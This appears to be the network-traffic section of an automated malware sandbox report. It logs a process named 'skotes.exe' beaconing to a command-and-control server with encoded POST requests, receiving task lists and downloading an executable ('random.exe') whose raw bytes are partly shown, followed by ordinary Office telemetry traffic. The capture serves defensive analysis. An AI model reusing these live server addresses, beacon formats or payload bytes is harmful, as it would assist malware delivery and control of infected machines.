Nov 15, 2024 09:55:50.693573952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 09:55:50.693587065 CET	1236	IN	Data Raw: e7 cf ab e6 ee 58 c3 a0 57 a4 81 88 56 4c 86 76 9e 08 ee 0e a4 8f ef e6 0e 8f 22 2a 9b 26 e2 8e 47 c8 ab e6 ee 78 c0 a0 57 a4 a1 88 56 4c 86 16 9e 08 ee 0e 84 8f ef e6 0e 8f 22 2a 9b 26 ea 8e 77 c8 ab e6 ee a8 c7 a0 57 a4 c1 88 56 4c 86 b6 9d 08 Data Ascii: XWVLv"&GxWVL"&wWVL"&WVLV"&WVL$"&W!VL"&\WAVL6d"*&hWaVL
Nov 15, 2024 09:55:50.693598032 CET	1236	IN	Data Raw: 64 f3 ef e6 0e 8f 22 2a 9b 26 ea 8e 1b ca ab e6 ee 60 c3 a0 57 a4 61 8f 56 4c 86 d6 8f 08 ee 0e 44 f3 ef e6 0e 8f 22 2a 9b 26 ea 8e 03 ca ab e6 ee fc db a0 57 a4 81 8f 56 4c 86 76 8f 08 ee 0e a4 f2 ef e6 0e 8f 22 2a 9b 26 e6 8e 0b ca ab e6 ee f8 Data Ascii: d"&`WaVLD"&WVLv"&WVL"&?hWVL"&'WVLV"&/WVL$"&W!VL"&
Nov 15, 2024 09:55:50.693612099 CET	1236	IN	Data Raw: 57 a4 21 82 56 4c 86 96 b1 08 ee 0e 04 f6 ef e6 0e 8f 22 2a 9b 26 ae 8e 67 c5 ab e6 ee b0 c7 a0 57 a4 41 82 56 4c 86 36 b1 08 ee 0e 64 f6 ef e6 0e 8f 22 2a 9b 26 be 8e 2f c5 ab e6 ee ac db a0 57 a4 61 82 56 4c 86 d6 b0 08 ee 0e 44 f6 ef e6 0e 8f Data Ascii: W!VL"&gWAVL6d"&/WaVLD"&8WVLv"&xWVL"&OWVL"& WVLV"*&WVL$"
Nov 15, 2024 09:55:50.693623066 CET	1236	IN	Data Raw: 9b 26 ec 8e e3 c9 a8 e6 bf f3 4b e7 57 24 4e 10 13 4c 06 9e e2 4d ee 65 93 40 2d 2a 9b 80 22 2a 9b 26 e2 0e ac fe ef e6 3f fc 18 a2 57 c5 ee 6f 17 48 4d 46 d2 0a ee 0e 04 f9 ef e6 d4 88 e6 25 9b 24 be 11 13 4c 06 a2 e2 4d ee bf 94 80 22 2a 9b 24 Data Ascii: &KW$NLMe@-"&?WoHMF%$LM"*$LM$LM!ShHLM&KW$\LMe@-ZW-_SKW$LMLdMqZW-gZW-UTLE8VLM%?$W~
Nov 15, 2024 09:55:50.693636894 CET	248	IN	Data Raw: 4f 5f ed e6 dc 01 12 65 93 44 29 e0 d7 4a ab e6 dc 8a dd 2b 09 a4 aa 4c 56 4c 65 03 0a 8e ea e6 9b 80 22 2a 9b 80 22 2a 9b 80 22 2a 9b 19 65 0a 01 c7 1f e9 00 8c 63 a0 53 1c 29 e0 c3 49 ab e6 31 43 38 e6 dc 09 e6 65 97 48 be 0e 9b 5e ed e6 d4 88 Data Ascii: O_eD)J+LVLe"""ecS)I1C8eH^!QW("""eoVm,W"""em@gD"""eMc9mHeSlXQ9VVeem,W"e
Nov 15, 2024 09:55:50.693648100 CET	1236	IN	Data Raw: 01 48 d5 a4 53 39 e0 6d 51 77 ab ea 22 4b 5e e7 09 11 2c ee 57 7e 2e b8 0a 8e e6 e6 9b 80 22 2a 9b 80 22 2a 9b 1f 65 3a d4 a0 e6 65 b3 b4 6d 22 53 19 65 8d 53 c5 82 c2 53 c7 02 8c a8 24 be 6f 13 4c 8a 47 57 4c ee e6 07 1f 6d 0a 0f ed fa c6 11 4c Data Ascii: HS9mQw"K^,W~.""e:em"SeSS$oLGWLmL#c(MWLmkoMmDe[WLmk/#e,%lcU6\ml&&X DT?$oWW.9UVLkm^eme
Nov 15, 2024 09:55:50.698554039 CET	1236	IN	Data Raw: 31 43 38 e7 bf 0b e3 e5 57 c7 a3 1a d4 88 e6 21 51 bc f9 a3 57 c7 28 d5 9a 12 06 95 f3 4d ee 6d b2 11 2c e2 57 80 22 2a 9b 80 22 2a 9b 80 22 2a 9b 19 65 0a 3d b3 86 5e de 08 ee 82 f6 4c ee e6 57 1c 6d 0a 5f ed fa c6 11 4c dd 23 de 09 1e b0 07 c1 Data Ascii: 1C8W!QW(Mm,W"""*e=^LWm_L#3WLe_WL!\e[>WLw=XmoZLWm+MWe=X2MmDeo"QWLJWL)SWo\MeDk&"Km,We

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	50097	185.215.113.43	80	6512	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 09:57:04.669975996 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 09:57:05.583375931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 08:57:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	50098	185.215.113.43	80	6512	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 09:57:07.107326031 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 15, 2024 09:57:08.021898985 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 08:57:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 36 33 39 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 33 39 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 36 33 39 39 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 34 30 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1006397001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1006398001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1006399031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1006400001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	50099	185.215.113.16	80	6512	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 09:57:08.031198025 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 15, 2024 09:57:08.951513052 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 08:57:08 GMT Content-Type: application/octet-stream Content-Length: 1822208 Last-Modified: Fri, 15 Nov 2024 08:46:57 GMT Connection: keep-alive ETag: "67370a81-1bce00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 f6 ac 34 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ce 03 00 00 c0 00 00 00 00 00 00 00 60 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 48 00 00 04 00 00 3c 0e 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 40 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4g`H@H<@T@hA J@.rsrc 0Z@.idata @Z@ )P\@jwsfpihgP/J^@iwmzihnaPH@.taggant0`H"@
Nov 15, 2024 09:57:08.951535940 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 09:57:08.951741934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 09:57:08.951828957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 09:57:08.951842070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 09:57:08.951953888 CET	636	IN	Data Raw: 85 44 08 53 e0 89 be 7a ce fa 46 0c d4 7b 77 36 39 a1 f2 f3 aa a2 84 c1 de ea 6e 5c a1 d4 82 30 61 1d 86 7a 69 c1 39 9f c9 09 93 f4 8d bb 3c c7 f3 c4 12 c2 66 5b c9 e7 71 c0 ae 3b a1 cc ac f0 e4 d5 7d ab 84 ca 6d 74 1d 5f 1f b6 e6 f9 b1 b2 19 10 Data Ascii: DSzF{w69n\0azi9<f[q;}mt_e}~r}3my`Q\<_OwSn>\uRKiDWI9&`o!K~?DuY>BmwGh\|p$Ytf7f0~*)?MvO
Nov 15, 2024 09:57:08.951975107 CET	1236	IN	Data Raw: 8a 04 44 74 44 53 7d 36 bb af 26 f5 b2 75 6f 3d 35 05 6e d5 a0 34 a0 f9 41 df 6b 1b 8f b7 71 4e fd 68 c6 d0 7d 74 1f 93 ef a0 fa b6 ee d6 a7 57 a0 17 73 fa 22 88 c2 36 fc 06 4c 96 89 93 49 0f d9 75 e4 83 3c c8 9e 61 e4 47 42 b7 1c 1a b5 38 73 b7 Data Ascii: DtDS}6&uo=5n4AkqNh}tWs"6LIu<aGB8sju"z%B-$4`~7ewP7+[zC&!4z)Y>{wU}-3$F yu[&q'6aBi5'v{:5
Nov 15, 2024 09:57:08.951987982 CET	212	IN	Data Raw: ff ae fa fa d4 12 7b 79 1d 63 ac 30 b5 11 4a a9 a7 79 b9 a6 7d a1 e4 39 4d 7d d0 18 a6 7c 9c 0f d6 f0 c6 cf 79 b9 b3 ef 3b 2f 96 3d eb e3 5d 66 cb d9 76 7f 1b 0f aa 81 9b 8b 08 64 68 02 a5 52 0c 63 7a d7 25 8c b7 d3 09 be 67 dd e5 e3 99 bc 9c 67 Data Ascii: {yc0Jy}9M}\|y;/=]fvdhRcz%gg5fu4V,)h6s-O\|+ as9f_Wa^id] ~upo::'F^'8s<yf$Hg<
Nov 15, 2024 09:57:08.951997995 CET	1236	IN	Data Raw: db 15 7f fe 15 0d 94 64 cd a5 90 b9 02 90 67 0d a7 0c 6f 08 de 99 48 98 e0 86 69 c3 1c f7 4c 60 7c 6e 6b a6 1e 37 f9 09 af 84 bf f7 c7 07 3f c3 9e 24 74 e1 e9 a7 90 66 e3 6d 35 97 5f 8f 2e 21 e7 6e 1c f6 ee 6f 2b 04 d3 c0 9b f8 2a 9e 93 34 ef 06 Data Ascii: dgoHiL`\|nk7?$tfm5_.!no+*4:s[K>#FTF;se)e,^5E9T^9Fdx\.Il%0ft,9?sH6<to<J9<TFl
Nov 15, 2024 09:57:08.952011108 CET	1236	IN	Data Raw: 61 f2 d9 45 df d1 19 87 63 0a 24 97 36 1b be 47 83 0f d2 d2 66 44 8e 3e 2d 37 0b b9 c6 89 b3 3b e5 db b4 5b 2d 86 89 a9 09 01 6c fc 3e c5 7c 5c 8a fa 78 ad 18 fa a2 d5 73 8e 96 81 22 a3 1e 0f 35 f2 98 91 52 7d 44 9b de 1b a0 38 ab 1a b3 9d a7 0a Data Ascii: aEc$6GfD>-7;[-l>\|\xs"5R}D8_i?#e;e^O:]>GL%Hmq`l }[l$~>Sr=7AG}P\|FS-@]u^goyX{H;W
Nov 15, 2024 09:57:08.956578016 CET	1236	IN	Data Raw: 54 27 2a 3b 04 76 f6 b9 63 a1 04 30 e7 ef 80 67 a2 a9 3e c7 37 3b 8c fa 46 12 73 7c 1d 5d ea e0 29 46 b4 53 60 1a bc 87 d1 7b 52 cf 28 97 f6 b4 1b a8 61 54 f8 4f 0a 11 fc 0d 19 ca 48 d1 55 ae ff 8e 78 81 8c 0f df bc a8 6e cf c0 c3 06 c3 e5 d3 87 Data Ascii: T';vc0g>7;Fs\|])FS`{R(aTOHUxn7EjK\|me\|!T+V:b#6fi-ka\o&b(vH[>aw@3zu0TnT:/JoE";mn4FK>V7lUJT?iNR

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49701	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:08 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:08 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:08 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 14 Nov 2024 16:27:56 GMT ETag: "0x8DD04C94BD1CD28" x-ms-request-id: 95228c9c-001e-008d-1ac3-36d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085508Z-16547b76f7fgfpmjhC1DFWw6ec00000000c0000000002a1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:08 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-15 08:55:08 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-15 08:55:08 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-15 08:55:09 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-15 08:55:09 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-15 08:55:09 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-15 08:55:09 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-15 08:55:09 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" 